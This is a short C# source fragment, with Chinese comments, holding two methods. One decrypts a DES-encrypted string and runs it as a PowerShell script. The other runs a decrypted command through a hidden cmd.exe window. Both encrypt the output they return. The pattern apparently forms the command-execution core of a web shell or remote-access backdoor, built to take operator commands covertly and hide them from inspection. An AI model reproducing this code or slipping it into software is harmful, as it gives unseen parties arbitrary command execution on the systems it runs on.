/// <summary> /// 执行powershell /// </summary> /// <param name="scriptText"></param> /// <returns></returns> public static string Runpscmd(string pscmd) { DesString msg = new DesString(); // cmd = Encoding.UTF8.GetString(Convert.FromBase64String(demsg)); pscmd = Encoding.UTF8.GetString(System.Text.Encoding.ASCII.GetBytes(msg.Decrypt(pscmd))); //pscmd = Encoding.UTF8.GetString(Convert.FromBase64String(pscmd)); Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); Pipeline pipeline = runspace.CreatePipeline(); pipeline.Commands.AddScript(pscmd); pipeline.Commands.Add("Out-String"); Collection <PSObject> results = pipeline.Invoke(); runspace.Close(); StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.AppendLine(obj.ToString()); } var outStr = msg.Encrypt(stringBuilder.ToString()); return(outStr); }
/// <summary> /// 执行cmd命令 /// </summary> /// <param name="cmd"></param> /// <returns></returns> public string RunCmd(string cmd) { DesString msg = new DesString(); //cmd = Encoding.UTF8.GetString(Convert.FromBase64String(demsg)); cmd = msg.Decrypt(cmd); Process proc = new Process(); proc.StartInfo.CreateNoWindow = true; proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardError = true; proc.StartInfo.RedirectStandardInput = true; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); proc.StandardInput.WriteLine(cmd); proc.StandardInput.WriteLine("exit"); string outStr = proc.StandardOutput.ReadToEnd(); proc.Close(); outStr = msg.Encrypt(outStr); return(outStr); }